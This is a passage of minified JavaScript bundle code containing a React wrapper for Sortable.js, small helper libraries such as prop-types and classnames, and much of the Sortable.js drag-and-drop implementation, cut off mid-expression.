n===e.oldIndex?Y(Y({},t),{},{chosen:!0}):t})),this.sortable,K)}},{key:"onUnchoose",value:function(e){var t=this.props,n=t.list;(0,t.setList)(n.map((function(t,n){return n===e.oldIndex?Y(Y({},t),{},{chosen:!1}):t})),this.sortable,K)}},{key:"onSpill",value:function(e){var t=this.props,n=t.removeOnSpill,o=t.revertOnSpill;n&&!o&&I(e.item)}},{key:"onSelect",value:function(e){var t=this.props,n=t.list,o=t.setList,r=n.map((function(e){return Y(Y({},e),{},{selected:!1})}));e.newIndicies.forEach((function(t){var n=t.index;if(-1===n)return console.log('"'.concat(e.type,'" had indice of "').concat(t.index,"\", which is probably -1 and doesn't usually happen here.")),void console.log(e);r[n].selected=!0})),o(r,this.sortable,K)}},{key:"onDeselect",value:function(e){var t=this.props,n=t.list,o=t.setList,r=n.map((function(e){return Y(Y({},e),{},{selected:!1})}));e.newIndicies.forEach((function(e){var t=e.index;-1!==t&&(r[t].selected=!0)})),o(r,this.sortable,K)}},{key:"sortable",get:function(){var e=this.ref.current;if(null===e)return null;var t=Object.keys(e).find((function(e){return e.includes("Sortable")}));return t?e[t]:null}}])&&H(t.prototype,n),d}();t.ReactSortable=G,W(G,"defaultProps",{clone:function(e){return e}})},function(e,t){e.exports=function(e){if(Array.isArray(e))return e}},function(e,t){e.exports=function(e,t){if("undefined"!=typeof Symbol&&Symbol.iterator in Object(e)){var n=[],o=!0,r=!1,a=void 0;try{for(var i,l=e[Symbol.iterator]();!(o=(i=l.next()).done)&&(n.push(i.value),!t||n.length!==t);o=!0);}catch(e){r=!0,a=e}finally{try{o||null==l.return||l.return()}finally{if(r)throw a}}return n}}},function(e,t,n){var o=n(9);e.exports=function(e,t){if(e){if("string"==typeof e)return o(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?o(e,t):void 0}}},function(e,t){e.exports=function(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,o=new Array(t);n<t;n++)o[n]=e[n];return o}},function(e,t){e.exports=function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}},function(e,t,n){"use strict";var o=n(12);function r(){}function a(){}a.resetWarningCache=r,e.exports=function(){function e(e,t,n,r,a,i){if(i!==o){var l=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw l.name="Invariant Violation",l}}function t(){return e}e.isRequired=e;var n={array:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:a,resetWarningCache:r};return n.PropTypes=n,n}},function(e,t,n){"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},function(e,t,n){"use strict";n.r(t);t.default=function(e,t){if(!e)throw new Error("Invariant failed")}},function(e,t,n){var o;!function(){"use strict";var n={}.hasOwnProperty;function r(){for(var e=[],t=0;t<arguments.length;t++){var o=arguments[t];if(o){var a=typeof o;if("string"===a||"number"===a)e.push(o);else if(Array.isArray(o)&&o.length){var i=r.apply(null,o);i&&e.push(i)}else if("object"===a)for(var l in o)n.call(o,l)&&o[l]&&e.push(l)}}return e.join(" ")}e.exports?(r.default=r,e.exports=r):void 0===(o=function(){return r}.apply(t,[]))||(e.exports=o)}()},function(e,t,n){"use strict";function o(){return(o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}).apply(this,arguments)}function r(e){if("undefined"!=typeof window&&window.navigator)return!!navigator.userAgent.match(e)}n.r(t),n.d(t,"Sortable",(function(){return Ne}));var a=r(/(?:Trident.*rv[ :]?11\.|msie|iemobile|Windows Phone)/i),i=r(/Edge/i),l=r(/firefox/i),s=r(/safari/i)&&!r(/chrome/i)&&!r(/android/i),c=r(/iP(ad|od|hone)/i),u=r(/chrome/i)&&r(/android/i),d={capture:!1,passive:!1};function f(e,t,n){e.addEventListener(t,n,!a&&d)}function p(e,t,n){e.removeEventListener(t,n,!a&&d)}function h(e,t){if(t){if(">"===t[0]&&(t=t.substring(1)),e)try{if(e.matches)return e.matches(t);if(e.msMatchesSelector)return e.msMatchesSelector(t);if(e.webkitMatchesSelector)return e.webkitMatchesSelector(t)}catch(e){return!1}return!1}}function v(e){return e.host&&e!==document&&e.host.nodeType?e.host:e.parentNode}function g(e,t,n,o){if(e){n=n||document;do{if(null!=t&&(">"===t[0]?e.parentNode===n&&h(e,t):h(e,t))||o&&e===n)return e;if(e===n)break}while(e=v(e))}return null}var m,b=/\s+/g;function y(e,t,n){if(e&&t)if(e.classList)e.classList[n?"add":"remove"](t);else{var o=(" "+e.className+" ").replace(b," ").replace(" "+t+" "," ");e.className=(o+(n?" "+t:"")).replace(b," ")}}function w(e,t,n){var o=e&&e.style;if(o){if(void 0===n)return document.defaultView&&document.defaultView.getComputedStyle?n=document.defaultView.getComputedStyle(e,""):e.currentStyle&&(n=e.currentStyle),void 0===t?n:n[t];t in o||-1!==t.indexOf("webkit")||(t="-webkit-"+t),o[t]=n+("string"==typeof n?"":"px")}}function E(e,t){var n="";if("string"==typeof e)n=e;else do{var o=w(e,"transform");o&&"none"!==o&&(n=o+" "+n)}while(!t&&(e=e.parentNode));var r=window.DOMMatrix||window.WebKitCSSMatrix||window.CSSMatrix||window.MSCSSMatrix;return r&&new r(n)}function O(e,t,n){if(e){var o=e.getElementsByTagName(t),r=0,a=o.length;if(n)for(;r<a;r++)n(o[r],r);return o}return[]}function S(){return document.scrollingElement||document.documentElement}function D(e,t,n,o,r){if(e.getBoundingClientRect||e===window){var i,l,s,c,u,d,f;if(e!==window&&e!==S()?(l=(i=e.getBoundingClientRect()).top,s=i.left,c=i.bottom,u=i.right,d=i.height,f=i.width):(l=0,s=0,c=window.innerHeight,u=window.innerWidth,d=window.innerHeight,f=window.innerWidth),(t||n)&&e!==window&&(r=r||e.parentNode,!a))do{if(r&&r.getBoundingClientRect&&("none"!==w(r,"transform")||n&&"static"!==w(r,"position"))){var p=r.getBoundingClientRect();l-=p.top+parseInt(w(r,"border-top-width")),s-=p.left+parseInt(w(r,"border-left-width")),c=l+i.height,u=s+i.width;break}}while(r=r.parentNode);if(o&&e!==window){var h=E(r||e),v=h&&h.a,g=h&&h.d;h&&(c=(l/=g)+(d/=g),u=(s/=v)+(f/=v))}return{top:l,left:s,bottom:c,right:u,width:f,height:d}}}function C(e,t,n){for(var o=T(e,!0),r=D(e)[t];o;){var a=D(o)[n];if(!("top"===n||"left"===n?r>=a:r<=a))return o;if(o===S())break;o=T(o,!1)}return!1}function _(e,t,n){for(var o=0,r=0,a=e.children;r<a.length;){if("none"!==a[r].style.display&&a[r]!==Ne.ghost&&a[r]!==Ne.dragged&&g(a[r],n.draggable,e,!1)){if(o===t)return a[r];o++}r++}return null}function x(e,t){for(var n=e.lastElementChild;n&&(n===Ne.ghost||"none"===w(n,"display")||t&&!h(n,t));)n=n.previousElementSibling;return n||null}function P(e,t){var n=0;if(!e||!e.parentNode)return-1;for(;e=e.previousElementSibling;)"TEMPLATE"===e.nodeName.toUpperCase()||e===Ne.clone||t&&!h(e,t)||n++;return n}function I(e){var t=0,n=0,o=S();if(e)do{var r=E(e);t+=e.scrollLeft*r.a,n+=e.scrollTop*r.d}while(e!==o&&(e=e.parentNode));return[t,n]}function T(e,t){if(!e||!e.getBoundingClientRect)return S();var n=e,o=!1;do{if(n.clientWidth<n.scrollWidth||n.clientHeight<n.scrollHeight){var r=w(n);if(n.clientWidth<n.scrollWidth&&("auto"==r.overflowX||"scroll"==r.overflowX)||n.clientHeight<n.scrollHeight&&("auto"==r.overflowY||"scroll"==r.overflowY)){if(!n.getBoundingClientRect||n===document.body)return S();if(o||t)return n;o=!0}}}while(n=n.parentNode);return S()}function j(e,t){return Math.round(e.top)===Math.round(t.top)&&Math.round(e.left)===Math.round(t.left)&&Math.round(e.height)===Math.round(t.height)&&Math.round(e.width)===Math.round(t.width)}function M(e,t){return function(){if(!m){var n=arguments,o=this;1===n.length?e.call(o,n[0]):e.apply(o,n),m=setTimeout((function(){m=void 0}),t)}}}function A(e,t,n){e.scrollLeft+=t,e.scrollTop+=n}function k(e){var t=window.Polymer,n=window.jQuery||window.Zepto;return t&&t.dom?t.dom(e).cloneNode(!0):n?n(e).clone(!0)[0]:e.cloneNode(!0)}function N(e,t){w(e,"position","absolute"),w(e,"top",t.top),w(e,"left",t.left),w(e,"width",t.width),w(e,"height",t.height)}function R(e){w(e,"position",""),w(e,"top",""),w(e,"left",""),w(e,"width",""),w(e,"height","")}var L="Sortable"+(new Date).getTime(),B=[],X={initializeByDefault:!0},Y={mount:function(e){for(var t in X)X.hasOwnProperty(t)&&!(t in e)&&(e[t]=X[t]);B.push(e)},pluginEvent:function(e,t,n){var r=this;this.eventCanceled=!1,n.cancel=function(){r.eventCanceled=!0};var a=e+"Global";B.forEach((function(r){t[r.pluginName]&&(t[r.pluginName][a]&&t[r.pluginName][a](o({sortable:t},n)),t.options[r.pluginName]&&t[r.pluginName][e]&&t[r.pluginName][e](o({sortable:t},n)))}))},initializePlugins:function(e,t,n,o){for(var r in B.forEach((function(o){var r=o.pluginName;if(e.options[r]||o.initializeByDefault){var a=new o(e,t,e.options);a.sortable=e,a.options=e.options,e[r]=a,Object.assign(n,a.defaults)}})),e.options)if(e.options.hasOwnProperty(r)){var a=this.modifyOption(e,r,e.options[r]);void 0!==a&&(e.options[r]=a)}},getEventProperties:function(e,t){var n={};return B.forEach((function(o){"function"==typeof o.eventProperties&&Object.assign(n,o.eventProperties.call(t[o.pluginName],e))})),n},modifyOption:function(e,t,n){var o;return B.forEach((function(r){e[r.pluginName]&&r.optionListeners&&"function"==typeof r.optionListeners[t]&&(o=r.optionListeners[t].call(e[r.pluginName],n))})),o}};function H(e){var t=e.sortable,n=e.rootEl,r=e.name,l=e.targetEl,s=e.cloneEl,c=e.toEl,u=e.fromEl,d=e.oldIndex,f=e.newIndex,p=e.oldDraggableIndex,h=e.newDraggableIndex,v=e.originalEvent,g=e.putSortable,m=e.extraEventProperties;if(t=t||n&&n[L]){var b,y=t.options,w="on"+r.charAt(0).toUpperCase()+r.substr(1);!window.CustomEvent||a||i?(b=document.createEvent("Event")).initEvent(r,!0,!0):b=new CustomEvent(r,{bubbles:!0,cancelable:!0}),b.to=c||n,b.from=u||n,b.item=l||n,b.clone=s,b.oldIndex=d,b.newIndex=f,b.oldDraggableIndex=p,b.newDraggableIndex=h,b.originalEvent=v,b.pullMode=g?g.lastPutMode:void 0;var E=o({},m,Y.getEventProperties(r,t));for(var O in E)b[O]=E[O];n&&n.dispatchEvent(b),y[w]&&y[w].call(t,b)}}var U=function(e,t,n){var r=void 0===n?{}:n,a=r.evt,i=function(e,t){if(null==e)return{};var n,o,r={},a=Object.keys(e);for(o=0;o<a.length;o++)t.indexOf(n=a[o])>=0||(r[n]=e[n]);return r}(r,["evt"]);Y.pluginEvent.bind(Ne)(e,t,o({dragEl:z,parentEl:W,ghostEl:K,rootEl:G,nextEl:q,lastDownEl:V,cloneEl:$,cloneHidden:Z,dragStarted:ue,putSortable:oe,activeSortable:Ne.active,originalEvent:a,oldIndex:J,oldDraggableIndex:ee,newIndex:Q,newDraggableIndex:te,hideGhostForTarget:Te,unhideGhostForTarget:je,cloneNowHidden:function(){Z=!0},cloneNowShown:function(){Z=!1},dispatchSortableEvent:function(e){F({sortable:t,name:e,originalEvent:a})}},i))};function F(e){H(o({putSortable:oe,cloneEl:$,targetEl:z,rootEl:G,oldIndex:J,oldDraggableIndex:ee,newIndex:Q,newDraggableIndex:te},e))}var z,W,K,G,q,V,$,Z,J,Q,ee,te,ne,oe,re,ae,ie,le,se,ce,ue,de,fe,pe,he,ve=!1,ge=!1,me=[],be=!1,ye=!1,we=[],Ee=!1,Oe=[],Se="undefined"!=typeof document,De=c,Ce=i||a?"cssFloat":"float",_e=Se&&!u&&!c&&"draggable"in document.createElement("div"),xe=function(){if(Se){if(a)return!1;var e=document.createElement("x");return e.style.cssText="pointer-events:auto","auto"===e.style.pointerEvents}}(),Pe=function(e,t){var n=w(e),o=parseInt(n.width)-parseInt(n.paddingLeft)-parseInt(n.paddingRight)-parseInt(n.borderLeftWidth)-parseInt(n.borderRightWidth),r=_(e,0,t),a=_(e,1,t),i=r&&w(r),l=a&&w(a),s=i&&parseInt(i.marginLeft)+parseInt(i.marginRight)+D(r).width,c=l&&parseInt(l.marginLeft)+parseInt(l.marginRight)+D(a).width;return"flex"===n.display?"column"===n.flexDirection||"column-reverse"===n.flexDirection?"vertical":"horizontal":"grid"===n.display?n.gridTemplateColumns.split(" ").length<=1?"vertical":"horizontal":r&&i.float&&"none"!==i.float?!a||"both"!==l.clear&&l.clear!==("left"===i.float?"left":"right")?"horizontal":"vertical":r&&("block"===i.display||"flex"===i.display||"table"===i.display||"grid"===i.display||s>=o&&"none"===n[Ce]||a&&"none"===n[Ce]&&s+c>o)?"vertical":"horizontal"},Ie=function(e){function t(e,n){return function(o,r,a,i){if(null==e&&(n||o.options.group.name&&r.options.group.name&&o.options.group.name===r.options.group.name))return!0;if(null==e||!1===e)return!1;if(n&&"clone"===e)return e;if("function"==typeof e)return t(e(o,r,a,i),n)(o,r,a,i);var l=(n?o:r).options.group.name;return!0===e||"string"==typeof e&&e===l||e.join&&e.indexOf(l)>-1}}var n={},o=e.group;o&&"object"==typeof o||(o={name:o}),n.name=o.name,n.checkPull=t(o.pull,!0),n.checkPut=t(o.put),n.revertClone=o.revertClone,e.group=n},Te=function(){!xe&&K&&w(K,"display","none")},je=function(){!xe&&K&&w(K,"display","")};Se&&document.addEventListener("click",(function(e){if(ge)return e.preventDefault(),e.stopPropagation&&e.stopPropagation(),e.stopImmediatePropagation&&e.stopImmediatePropagation(),ge=!1,!1}),!0);var Me,Ae=function(e){if(z){var t=(r=(e=e.touches?e.touches[0]:e).clientX,a=e.clientY,me.some((function(e){if(!x(e)){var t=D(e),n=e[L].options.emptyInsertThreshold;return n&&r>=t.left-n&&r<=t.right+n&&a>=t.top-n&&a<=t.bottom+n?i=e:void 0}})),i);if(t){var n={};for(var o in e)e.hasOwnProperty(o)&&(n[o]=e[o]);n.target=n.rootEl=t,n.preventDefault=void 0,n.stopPropagation=void 0,t[L]._onDragOver(n)}}var r,a,i},ke=function(e){z&&z.parentNode[L]._isOutsideThisEl(e.target)};function Ne(e,t){if(!e||!e.nodeType||1!==e.nodeType)throw"Sortable: `el` must be an HTMLElement, not "+{}.toString.call(e);this.el=e,this.options=t=Object.assign({},t),e[L]=this;var n,r,a={group:null,sort:!0,disabled:!1,store:null,handle:null,draggable:/^[uo]l$/i.test(e.nodeName)?">li":">*",swapThreshold:1,invertSwap:!1,invertedSwapThreshold:null,removeCloneOnHide:!0,direction:function(){return Pe(e,this.options)},ghostClass:"sortable-ghost",chosenClass:"sortable-chosen",dragClass:"sortable-drag",ignore:"a, img",filter:null,preventOnFilter:!0,animation:0,easing:null,setData:function(e,t){e.setData("Text",t.textContent)},dropBubble:!1,dragoverBubble:!1,dataIdAttr:"data-id",delay:0,delayOnTouchOnly:!1,touchStartThreshold:(Number.parseInt?Number:window).parseInt(window.devicePixelRatio,10)||1,forceFallback:!1,fallbackClass:"sortable-fallback",fallbackOnBody:!1,fallbackTolerance:0,fallbackOffset:{x:0,y:0},supportPointer:!1!==Ne.supportPointer&&"PointerEvent"in window,emptyInsertThreshold:5};for(var i in Y.initializePlugins(this,e,a),a)!(i in t)&&(t[i]=a[i]);for(var l in Ie(t),this)"_"===l.charAt(0)&&"function"==typeof this[l]&&(this[l]=this[l].bind(this));this.nativeDraggable=!t.forceFallback&&_e,this.nativeDraggable&&(this.options.touchStartThreshold=1),t.supportPointer?f(e,"pointerdown",this._onTapStart):(f(e,"mousedown",this._onTapStart),f(e,"touchstart",this._onTapStart)),this.nativeDraggable&&(f(e,"dragover",this),f(e,"dragenter",this)),me.push(this.el),t.store&&t.store.get&&this.sort(t.store.get(this)||[]),Object.assign(this,(r=[],{captureAnimationState:function(){r=[],this.options.animation&&[].slice.call(this.el.children).forEach((function(e){if("none"!==w(e,"display")&&void 0!==e){r.push({target:e,rect:D(e)});var t=o({},r[r.length-1].rect);if(e.thisAnimationDuration){var n=E(e,!0);n&&(t.top-=n.f,t.left-=n.e)}e.fromRect=t}}))},addAnimationState:function(e){r.push(e)},removeAnimationState:function(e){r.splice(function(e,t){for(var n in e)if(e.hasOwnProperty(n))for(var o in t)if(t.hasOwnProperty(o)&&t[o]===e[n][o])return Number(n);return-1}(r,{target:e}),1)},animateAll:function(e){var t=this;if(!this.options.animation)return clearTimeout(n),void("function"==typeof e&&e());var o=!1,a=0;r.forEach((function(e){var n=0,r=e.target,i=r.fromRect,l=D(r),s=r.prevFromRect,c=r.prevToRect,u=e.rect,d=E(r,!0);d&&(l.top-=d.f,l.left-=d.e),r.toRect=l,r.thisAnimationDuration&&j(s,l)&&!j(i,l)&&(u.top-l.top)/(u.left-l.left)==(i.top-l.top)/(i.left-l.left)&&(n=function(e,t,n,o){return Math.sqrt(Math.pow(t.top-e.top,2)+Math.pow(t.left-e.left,2))/Math.sqrt(Math.pow(t.top-n.top,2)+Math.pow(t.left-n.left,2))*o.animation}(u,s,c,t.options)),j(l,i)||(r.prevFromRect=i,r.prevToRect=l,n||(n=t.options.animation),t.animate(r,u,l,n)),n&&(o=!0,a=Math.max(a,n),clearTimeout(r.animationResetTimer),r.animationResetTimer=setTimeout((function(){r.animationTime=0,r.prevFromRect=null,r.fromRect=null,r.prevToRect=null,r.thisAnimationDuration=null}),n),r.thisAnimationDuration=n)})),clearTimeout(n),o?n=setTimeout((function(){"function"==typeof e&&e()}),a):"function"==typeof e&&e(),r=[]},animate:function(e,t,n,o){if(o){w(e,"transition",""),w(e,"transform","");var r=E(this.el),a=(t.left-n.left)/(r&&r.a||1),i=(t.top-n.top)/(r&&r.d||1);e.animatingX=!!a,e.animatingY=!!i,w(e,"transform","translate3d("+a+"px,"+i+"px,0)"),this.forRepaintDummy=function(e){return e.offsetWidth}(e),w(e,"transition","transform "+o+"ms"+(this.options.easing?" "+this.options.easing:"")),w(e,"transform","translate3d(0,0,0)"),"number"==typeof e.animated&&clearTimeout(e.animated),e.animated=setTimeout((function(){w(e,"transition",""),w(e,"transform",""),e.animated=!1,e.animatingX=!1,e.animatingY=!1}),o)}}}))}function Re(e,t,n,o,r,l,s,c){var u,d,f=e[L],p=f.options.onMove;return!window.CustomEvent||a||i?(u=document.createEvent("Event")).initEvent("move",!0,!0):u=new CustomEvent("move",{bubbles:!0,cancelable:!0}),u.to=t,u.from=e,u.dragged=n,u.draggedRect=o,u.related=r||t,u.relatedRect=l||D(t),u.willInsertAfter=c,u.originalEvent=s,e.dispatchEvent(u),p&&(d=p.call(f,u,s)),d}function Le(e){e.draggable=!1}function Be(){Ee=!1}function Xe(e){for(var t=e.tagName+e.className+e.src+e.href+e.textContent,n=t.length,o=0;n--;)o+=t.charCodeAt(n);return o.toString(36)}function Ye(e){return setTimeout(e,0)}function He(e){return clearTimeout(e)}Ne.prototype={constructor:Ne,_isOutsideThisEl:function(e){this.el.contains(e)||e===this.el||(de=null)},_getDirection:function(e,t){return"function"==typeof this.options.direction?this.options.direction.call(this,e,t,z):this.options.direction},_onTapStart:function(e){if(e.cancelable){var t=this,n=this.el,o=this.options,r=o.preventOnFilter,a=e.type,i=e.touches&&e.touches[0]||e.pointerType&&"touch"===e.pointerType&&e,l=(i||e).target,c=e.target.shadowRoot&&(e.path&&e.path[0]||e.composedPath&&e.composedPath()[0])||l,u=o.filter;if(function(e){Oe.length=0;for(var t=e.getElementsByTagName("input"),n=t.length;n--;){var o=t[n];o.checked&&Oe.push(o)}}(n),!z&&!(/mousedown|pointerdown/.test(a)&&0!==e.button||o.disabled)&&!c.isContentEditable&&(this.nativeDraggable||!s||!l||"SELECT"!==l.tagName.toUpperCase())&&!((l=g(l,o.draggable,n,!1))&&l.animated||V===l)){if(J=P(l),ee=P(l,o.draggable),"function"==typeof u){if(u.call(this,e,l,this))return F({sortable:t,rootEl:c,name:"filter",targetEl:l,toEl:n,fromEl:n}),U("filter",t,{evt:e}),void(r&&e.cancelable&&e.preventDefault())}else if(u&&(u=u.split(",").some((function(o){if(o=g(c,o.trim(),n,!1))return F({sortable:t,rootEl:o,name:"filter",targetEl:l,fromEl:n,toEl:n}),U("filter",t,{evt:e}),!0}))))return void(r&&e.cancelable&&e.preventDefault());o.handle&&!g(c,o.handle,n,!1)||this._prepareDragStart(e,i,l)}}},_prepareDragStart:function(e,t,n){var o,r=this,s=r.el,c=r.options,u=s.ownerDocument;if(n&&!z&&n.parentNode===s){var d=D(n);if(G=s,W=(z=n).parentNode,q=z.nextSibling,V=n,ne=c.group,Ne.dragged=z,se=(re={target:z,clientX:(t||e).clientX,clientY:(t||e).clientY}).clientX-d.left,ce=re.clientY-d.top,this._lastX=(t||e).clientX,this._lastY=(t||e).clientY,z.style["will-change"]="all",o=function(){U("delayEnded",r,{evt:e}),Ne.eventCanceled?r._onDrop():(r._disableDelayedDragEvents(),!l&&r.nativeDraggable&&(z.draggable=!0),r._triggerDragStart(e,t),F({sortable:r,name:"choose",originalEvent:e}),y(z,c.chosenClass,!0))},c.ignore.split(",").forEach((function(e){O(z,e.trim(),Le)})),f(u,"dragover",Ae),f(u,"mousemove",Ae),f(u,"touchmove",Ae),f(u,"mouseup",r._onDrop),f(u,"touchend",r._onDrop),f(u,"touchcancel",r._onDrop),l&&this.nativeDraggable&&(this.options.touchStartThreshold=4,z.draggable=!0),U("delayStart",this,{evt:e}),!c.delay||c.delayOnTouchOnly&&!t||this.nativeDraggable&&(i||a))o();else{if(Ne.eventCanceled)return void this._onDrop();f(u,"mouseup",r._disableDelayedDrag),f(u,"touchend",r._disableDelayedDrag),f(u,"touchcancel",r._disableDelayedDrag),f(u,"mousemove",r._delayedDragTouchMoveHandler),f(u,"touchmove",r._delayedDragTouchMoveHandler),c.supportPointer&&f(u,"pointermove",r._delayedDragTouchMoveHandler),r._dragStartTimer=setTimeout(o,c.delay)}}},_delayedDragTouchMoveHandler:function(e){var t=e.touches?e.touches[0]:e;Math.max(Math.abs(t.clientX-this._lastX),Math.abs(t.clientY-this._lastY))>=Math.floor(this.options.touchStartThreshold/(this.nativeDraggable&&window.devicePixelRatio||1))&&this._disableDelayedDrag()},_disableDelayedDrag:function(){z&&Le(z),clearTimeout(this._dragStartTimer),this._disableDelayedDragEvents()},_disableDelayedDragEvents:function(){var e=this.el.ownerDocument;p(e,"mouseup",this._disableDelayedDrag),p(e,"touchend",this._disableDelayedDrag),p(e,"touchcancel",this._disableDelayedDrag),p(e,"mousemove",this._delayedDragTouchMoveHandler),p(e,"touchmove",this._delayedDragTouchMoveHandler),p(e,"pointermove",this._delayedDragTouchMoveHandler)},_triggerDragStart:function(e,t){t=t||"touch"==e.pointerType&&e,!this.nativeDraggable||t?f(document,this.options.supportPointer?"pointermove":t?"touchmove":"mousemove",this._onTouchMove):(f(z,"dragend",this),f(G,"dragstart",this._onDragStart));try{document.selection?Ye((function(){document.selection.empty()})):window.getSelection().removeAllRanges()}catch(e){}},_dragStarted:function(e,t){if(ve=!1,G&&z){U("dragStarted",this,{evt:t}),this.nativeDraggable&&f(document,"dragover",ke);var n=this.options;!e&&y(z,n.dragClass,!1),y(z,n.ghostClass,!0),Ne.active=this,e&&this._appendGhost(),F({sortable:this,name:"start",originalEvent:t})}else this._nulling()},_emulateDragOver:function(){if(ae){this._lastX=ae.clientX,this._lastY=ae.clientY,Te();for(var e=document.elementFromPoint(ae.clientX,ae.clientY),t=e;e&&e.shadowRoot&&(e=e.shadowRoot.elementFromPoint(ae.clientX,ae.clientY))!==t;)t=e;if(z.parentNode[L]._isOutsideThisEl(e),t)do{if(t[L]&&t[L]._onDragOver({clientX:ae.clientX,clientY:ae.clientY,target:e,rootEl:t})&&!this.options.dragoverBubble)break;e=t}while(t=t.parentNode);je()}},_onTouchMove:function(e){if(re){var t=this.options,n=t.fallbackTolerance,o=t.fallbackOffset,r=e.touches?e.touches[0]:e,a=K&&E(K,!0),i=K&&a&&a.a,l=K&&a&&a.d,s=De&&he&&I(he),c=(r.clientX-re.clientX+o.x)/(i||1)+(s?s[0]-we[0]:0)/(i||1),u=(r.clientY-re.clientY+o.y)/(l||1)+(s?s[1]-we[1]:0)/(l||1);if(!Ne.active&&!ve){if(n&&Math.max(Math.abs(r.clientX-this._lastX),Math.abs(r.clientY-this._lastY))<n)return;this._onDragStart(e,!0)}if(K){a?(a.e+=c-(ie||0),a.f+=u-(le||0)):a={a:1,b:0,c:0,d:1,e:c,f:u};var d="matrix("+a.a+","+a.b+","+a.c+","+a.d+","+a.e+","+a.f+")";w(K,"webkitTransform",d),w(K,"mozTransform",d),w(K,"msTransform",d),w(K,"transform",d),ie=c,le=u,ae=r}e.cancelable&&e.preventDefault()}},_appendGhost:function(){if(!K){var e=this.options.fallbackOnBody?document.body:G,t=D(z,!0,De,!0,e),n=this.options;if(De){for(he=e;"static"===w(he,"position")&&"none"===w(he,"transform")&&he!==document;)he=he.parentNode;he!==document.body&&he!==document.documentElement?(he===document&&(he=S()),t.top+=he.scrollTop,t.left+=he.scrollLeft):he=S(),we=I(he)}y(K=z.cloneNode(!0),n.ghostClass,!1),y(K,n.fallbackClass,!0),y(K,n.dragClass,!0),w(K,"transition",""),w(K,"transform",""),w(K,"box-sizing","border-box"),w(K,"margin",0),w(K,"top",t.top),w(K,"left",t.left),w(K,"width",t.width),w(K,"height",t.height),w(K,"opacity","0.8"),w(K,"position",De?"absolute":"fixed"),w(K,"zIndex","100000"),w(K,"pointerEvents","none"),Ne.ghost=K,e.appendChild(K),w(K,"transform-origin",se/parseInt(K.style.width)*100+"% "+ce/parseInt(K.style.height)*100+"%")}},_onDragStart:function(e,t){var n=this,o=e.dataTransfer,r=n.options;U("dragStart",this,{evt:e}),Ne.eventCanceled?this._onDrop():(U("setupClone",this),Ne.eventCanceled||(($=k(z)).draggable=!1,$.style["will-change"]="",this._hideClone(),y($,this.options.chosenClass,!1),Ne.clone=$),n.cloneId=Ye((function(){U("clone",n),Ne.eventCanceled||(n.options.removeCloneOnHide||G.insertBefore($,z),n._hideClone(),F({sortable:n,name:"clone"}))})),!t&&y(z,r.dragClass,!0),t?(ge=!0,n._loopId=setInterval(n._emulateDragOver,50)):(p(document,"mouseup",n._onDrop),p(document,"touchend",n._onDrop),p(document,"touchcancel",n._onDrop),o&&(o.effectAllowed="move",r.setData&&r.setData.call(n,o,z)),f(document,"drop",n),w(z,"transform","translateZ(0)")),ve=!0,n._dragStartId=Ye(n._dragStarted.bind(n,t,e)),f(document,"selectstart",n),ue=!0,s&&w(document.body,"user-select","none"))},_onDragOver:function(e){var t,n,r,a,i=this.el,l=e.target,s=this.options,c=s.group,u=Ne.active,d=ne===c,f=s.sort,p=oe||u,h=this,v=!1;if(!Ee){if(void 0!==e.preventDefault&&e.cancelable&&e.preventDefault(),l=g(l,s.draggable,i,!0),B("dragOver"),Ne.eventCanceled)return v;if(z.contains(e.target)||l.animated&&l.animatingX&&l.animatingY||h._ignoreWhileAnimating===l)return Y(!1);if(ge=!1,u&&!s.disabled&&(d?f||(r=!G.contains(z)):oe===this||(this.lastPutMode=ne.checkPull(this,u,z,e))&&c.checkPut(this,u,z,e))){if(a="vertical"===this._getDirection(e,l),t=D(z),B("dragOverValid"),Ne.eventCanceled)return v;if(r)return W=G,X(),this._hideClone(),B("revert"),Ne.eventCanceled||(q?G.insertBefore(z,q):G.appendChild(z)),Y(!0);var m=x(i,s.draggable);if(!m||function(e,t,n){var o=D(x(n.el,n.options.draggable));return t?e.clientX>o.right+10||e.clientX<=o.right&&e.clientY>o.bottom&&e.clientX>=o.left:e.clientX>o.right&&e.clientY>o.top||e.clientX<=o.right&&e.clientY>o.bottom+10}(e,a,this)&&!m.animated){if(m===z)return Y(!1);if(m&&i===e.target&&(l=m),l&&(n=D(l)),!1!==Re(G,i,z,t,l,n,e,!!l))return X(),i.appendChild(z),W=i,H(),Y(!0)}else if(l.parentNode===i){n=D(l);var b,E,O,S=z.parentNode!==i,_=!function(e,t,n){var o=n?e.left:e.top,r=n?t.left:t.top;return o===r||(n?e.right:e.bottom)===(n?t.right:t.bottom)||o+(n?e.width:e.height)/2===r+(n?t.width:t.height)/2}(z.animated&&z.toRect||t,l.animated&&l.toRect||n,a),I=a?"top":"left",T=C(l,"top","top")||C(z,"top","top"),j=T?T.scrollTop:void 0;if(de!==l&&(E=n[I],be=!1,ye=!_&&s.invertSwap||S),0!==(b=function(e,t,n,o,r,a,i,l){var s=o?e.clientY:e.clientX,c=o?n.height:n.width,u=o?n.top:n.left,d=o?n.bottom:n.right,f=!1;if(!i)if(l&&pe<c*r){if(!be&&(1===fe?s>u+c*a/2:s<d-c*a/2)&&(be=!0),be)f=!0;else if(1===fe?s<u+pe:s>d-pe)return-fe}else if(s>u+c*(1-r)/2&&s<d-c*(1-r)/2)return function(e){return P(z)<P(e)?1:-1}(t);return(f=f||i)&&(s<u+c*a/2||s>d-c*a/2)?s>u+c/2?1:-1:0}(e,l,n,a,_?1:s.swapThreshold,null==s.invertedSwapThreshold?s.swapThreshold:s.invertedSwapThreshold,ye,de===l))){var M=P(z);do{O=W.children[M-=b]}while(O&&("none"===w(O,"display")||O===K))}if(0===b||O===l)return 